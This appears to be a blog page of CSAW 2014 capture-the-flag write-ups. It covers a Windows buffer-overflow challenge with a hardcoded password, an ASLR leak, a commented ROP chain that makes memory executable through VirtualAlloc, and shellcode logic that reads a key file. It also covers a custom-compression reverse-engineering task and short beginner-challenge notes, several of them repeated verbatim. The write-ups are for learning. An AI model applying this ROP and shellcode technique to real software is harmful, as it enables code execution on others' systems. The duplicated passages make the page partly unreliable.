This was a windows exploitation challenge and was incredibly easy, overvalued and under solved.
When the binary is first run, or connected to, it asks for a password, it can be found with strings or just by looking at the dissassembly.
.text:00D8105C 414 push offset Str2 ; "GreenhornSecretPassword!!!"
.text:00D81061 418 lea ecx, [ebp+Str1]
.text:00D81067 418 push ecx ; Str1
.text:00D81068 41C call ds:strncmp
.text:00D8106E 41C add esp, 0Ch
.text:00D81071 410 test eax, eax
.text:00D81073 410 jz short loc_
After the password is successfully entered, you're presented with a menu.
Greenhorn Menu:
--------------
(D)ebugging
(S)tatic Analysis
S(h)ellcode
(A)SLR
(N)X/DEP
(V)ulnerability
(Q)uit
Selection:
There are two options on this menu that need to be used to exploit the vulnerability. The first option is the ASLR option. At the end of the text it presents you that describes how ASLR works on windows it contains the exebase-0x00400000 and ebp-08h. The exebase allows us to use ROP chains from the executable, and ebp-08h gives us a stack address we can use for offsets.
The actual vulnerability was a buffer overflow. The Vulnerability page asked for exactly 1024 bytes of data, the length of the buffer, but it read in 2048 bytes of data.
Besides ROP gadgets my ROP chain called two functions in the binary. The first did a call to VirtualAlloc that I could control to set flProtect to PAGE_EXECUTE_READWRITE and the second read in the shellcode to that new allocation.
.text:00D811C0 ; int __cdecl CallsVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flProtect, int *memAddr)
The way I called this function was CallsVirtualAlloc(NULL, 0x2048, PAGE_EXECUTE_READWRITE, stackAddr);
The address of the allocated memory would be stored in that last parameter.
The second function I called was
00D81600 ; int __cdecl ReadBytes(char *destBuffer, int nBytes, char stopChar)
It would read either nBytes or until it encountered stopChar from stdin into the destBuffer. When connecting remotely stdin/out was redirected to the socket.
My ROP chain ended up being
ropstack = padr(0x00D811C0) #Calls virtual alloc
ropstack += padr(0x00D81204) #VirtualAlloc ret addr, add esp 0Ch; mov eax, [ebp+8]; pop ebp; retn;
#That ROP chain effectively doess add esp, 10h;
ropstack += pvar(0x00000000) #lpAddress
ropstack += pvar(0x00002048) #dwSize)
ropstack += pvar(0x00000040) #PAGE_EXE_RW
ropstack += pvar(stack-0x400)#where to store ret addr
ropstack += padr(0x00D81DA6) #pop ecx; pop ebp; retn
#we need to set ECX to a dereferenceable address so that the next ROP chain doesn't crash
ropstack += pvar(stack-0x300)#ecx value
ropstack += pvar(stack+0x0C) #ebp value
ropstack += padr(0x00D811DD) #mov [ecx], eax; mov edx, [ebp+14h]; mov eax, [edx]; pop ebp; retn;
#This ROP gadget lets me get the address of the allocated memory off of the stack
#and into a register
ropstack += pvar(stack+0x54) #ebp value
ropstack += padr(0x00D81CE8) #mov [ebp-8], eax; lea eax, [ebp-10h]; mov large fs:0, eax; retn;
#I used this rop chain twice to overwrite the parameters passed to ReadBytes
#below
ropstack += padr(0x00D811E2) #mov eax, [edx]; pop ebp; retn;
ropstack += pvar(stack+0x58) #ebp value
ropstack += padr(0x00D81CE8) #mov [ebp-8], eax; lea eax, [ebp-10h]; mov large fs:0, eax; retn;
ropstack += padr(0x00D81600) #ReadBytes
ropstack += pvar(stack-0x400) #ReadBytes return address(overwritten)
ropstack += pvar(stack-0x400) #DestBuffer(overwritten)
ropstack += pvar(len(shellcode))
ropstack += pvar(0x000000090) #stop char
Full script here
padr() fixes an address for the ASLR slide and packs it, pvar() is just used to the text lines up nicely.
That will get you shellcode execution, the script has a small amount of shellcode embedded in it which gets the base address of kernel32 and places it into EAX. I wrote my shellcode in C and compiled it with MSVC and then extracted the machinecode into a file called gnarlyshellcode. My shellcode walked kernel32's export directory and got the address of the functions CreateFileA, ReadFile, WriteFile, and GetStdHandle. After which the process to send the flag to stdout/socket was very simple.
HANDLE hKeyFile = CreateFileA("key", GENERIC_READ, 7, NULL, 4, FILE_ATTRIBUTE_NORMAL, NULL);
char keyData[100];
ReadFile(hKeyFile, &keyData, 100, NULL, NULL);
WriteFile(GetStdHandle(-11), keyData, 100, NULL, NULL);
Monday, September 22, 2014
CSAW14 Reverse Engineering 300 - Weissman Write-Up
This challenge consisted of a mystery file, weissman.csawlz that you had to extract the key out of somehow. Going from the extension it was some sort of compressed archive format. I started it after the hint was given out which confirmed that it was. The hint was
HINT:
CSAWLZ is a completely custom format! You won't find decompressing tools on the internet. We made it just for you. :)
typedef struct _hdr {
uint8_t magic[8];
uint32_t version;
uint32_t num_files;
} hdr;
typedef struct _entry {
uint32_t magic;
uint32_t compressed_size;
uint32_t uncompressed_size;
uint8_t filename[32];
} entry;
Using that hint I wrote a very simple program that separated the different compressed files for easier viewing in a hex editor. After staring at it for an hour and a half, I figured out the data was encoded. The first byte encoded the length of the run and whether or not the run was compressed. If the run was compressed, the next two bytes were a hash of a previous run that contained the data for this run. There was no way to know what hashing algorithm was used, so this challenge was impossible to complete non-hackily.
Read byte
If byte&1, the next run is uncompressed
Length = byte>>1
If the next run is uncompressed, write the uncompressed bytes to file. If the next run is compressed, write NULLs instead.
After decompressing the files as best I could, I ended up with a corrupted key.jpeg. I downloaded JPEG Recovery Pro 5 trial and let it do it's magic on the JPEG and I ended up with two JPEGs.
and
Enough of the key was visible in both of these JPEGs for me to submit it and get the points for my team. The key ended up being
key{ I know how long it'd take me, and I can prove it }
HINT:
CSAWLZ is a completely custom format! You won't find decompressing tools on the internet. We made it just for you. :)
typedef struct _hdr {
uint8_t magic[8];
uint32_t version;
uint32_t num_files;
} hdr;
typedef struct _entry {
uint32_t magic;
uint32_t compressed_size;
uint32_t uncompressed_size;
uint8_t filename[32];
} entry;
Using that hint I wrote a very simple program that separated the different compressed files for easier viewing in a hex editor. After staring at it for an hour and a half, I figured out the data was encoded. The first byte encoded the length of the run and whether or not the run was compressed. If the run was compressed, the next two bytes were a hash of a previous run that contained the data for this run. There was no way to know what hashing algorithm was used, so this challenge was impossible to complete non-hackily.
Read byte
If byte&1, the next run is uncompressed
Length = byte>>1
If the next run is uncompressed, write the uncompressed bytes to file. If the next run is compressed, write NULLs instead.
After decompressing the files as best I could, I ended up with a corrupted key.jpeg. I downloaded JPEG Recovery Pro 5 trial and let it do it's magic on the JPEG and I ended up with two JPEGs.
and
Enough of the key was visible in both of these JPEGs for me to submit it and get the points for my team. The key ended up being
key{ I know how long it'd take me, and I can prove it }
CSAW14 Noob Challenge Write-Ups
Exploitation 100, Reverse Engineering 100, 200, and Forensics 100 can all be solved by running strings, the key will be plainly visible. RE100 is slightly evil though, if you actually run it, it will start a fork bomb.
The solution to Exploitation 200 can be found by googling "breaking out of python sandbox". You'll end up at https://isisblogs.poly.edu/2012/10/26/escaping-python-sandboxes/ and after scrolling down a bit you will find the exact command you need to enter to get the flag.
Forensics 200-sftp's solution is to simply extract the ZIP file data out of the plain ftp stream, inside is a flag.png which contains the flag.
Forensics 200-Obscurity can be solved by uploading the PDF to Google Docs and converting it to a Google doc. The hidden text which contains the key will be clearly visible at the bottom of the document.
Networking 100's flag is clearly visible in the telnet stream in the pcap. Most people got hung up because they thought the flag would be in the BitTorrent traffic.
The solution to Exploitation 200 can be found by googling "breaking out of python sandbox". You'll end up at https://isisblogs.poly.edu/2012/10/26/escaping-python-sandboxes/ and after scrolling down a bit you will find the exact command you need to enter to get the flag.
Forensics 200-sftp's solution is to simply extract the ZIP file data out of the plain ftp stream, inside is a flag.png which contains the flag.
Forensics 200-Obscurity can be solved by uploading the PDF to Google Docs and converting it to a Google doc. The hidden text which contains the key will be clearly visible at the bottom of the document.
Networking 100's flag is clearly visible in the telnet stream in the pcap. Most people got hung up because they thought the flag would be in the BitTorrent traffic.
Subscribe to:
Posts (Atom)